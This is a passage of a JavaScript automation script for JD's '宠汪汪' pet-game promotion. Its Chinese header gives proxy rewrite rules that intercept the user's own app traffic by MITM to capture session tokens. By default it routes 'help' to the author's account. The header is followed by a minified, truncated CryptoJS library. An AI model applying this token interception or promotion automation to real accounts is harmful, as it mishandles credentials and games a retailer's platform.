60 lines
142 KiB
JavaScript
60 lines
142 KiB
JavaScript
/*
|
||
* @Author: lxk0301 https://github.com/lxk0301
|
||
* @Date: 2020-06-16 18:54:16
|
||
* @Last Modified by: lxk0301
|
||
* @Last Modified time: 2021-3-22 21:22:37
|
||
*/
|
||
/*
|
||
宠汪汪邀请助力与赛跑助力脚本,感谢github@Zero-S1提供帮助
|
||
活动入口:京东APP我的-更多工具-宠汪汪
|
||
token时效很短,几个小时就失效了,闲麻烦的放弃就行
|
||
每天拿到token后,可一次性运行完毕即可。
|
||
互助码friendPin是京东用户名,不是昵称(可在京东APP->我的->设置 查看获得)
|
||
token获取途径:
|
||
1、微信搜索'来客有礼'小程序,登陆京东账号,点击底部的'我的'或者'发现'两处地方,即可获取Token,脚本运行提示token失效后,继续按此方法获取即可
|
||
2、或者每天去'来客有礼'小程序->宠汪汪里面,领狗粮->签到领京豆 也可获取Token(此方法每天只能获取一次)
|
||
脚本里面有内置提供的friendPin,如果你没有修改脚本或者BoxJs处填写自己的互助码,会默认给脚本内置的助力。
|
||
|
||
docker 设置环境变量 JOY_RUN_HELP_MYSELF 为true,则开启账号内部互助.默认关闭(即给脚本作者lxk0301内置的助力).
|
||
|
||
[MITM]
|
||
hostname = draw.jdfcloud.com
|
||
|
||
===========Surge=================
|
||
[Script]
|
||
宠汪汪邀请助力与赛跑助力 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js
|
||
宠汪汪助力更新Token = type=http-response,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=, requires-body=1, max-size=0, script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js
|
||
宠汪汪助力获取Token = type=http-request,pattern=^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=, max-size=0, script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js
|
||
|
||
===================Quantumult X=====================
|
||
[task_local]
|
||
# 宠汪汪邀请助力与赛跑助力
|
||
15 10 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true
|
||
[rewrite_local]
|
||
# 宠汪汪助力更新Token
|
||
^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= url script-response-body https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js
|
||
# 宠汪汪助力获取Token
|
||
^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= url script-request-header https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js
|
||
|
||
=====================Loon=====================
|
||
[Script]
|
||
cron "15 10 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, tag=宠汪汪邀请助力与赛跑助力
|
||
http-response ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code= script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, requires-body=true, timeout=10, tag=宠汪汪助力更新Token
|
||
http-request ^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId= script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_joy_run.js, timeout=3600, tag=宠汪汪助力获取Token
|
||
*/
|
||
!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () {
|
||
var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * 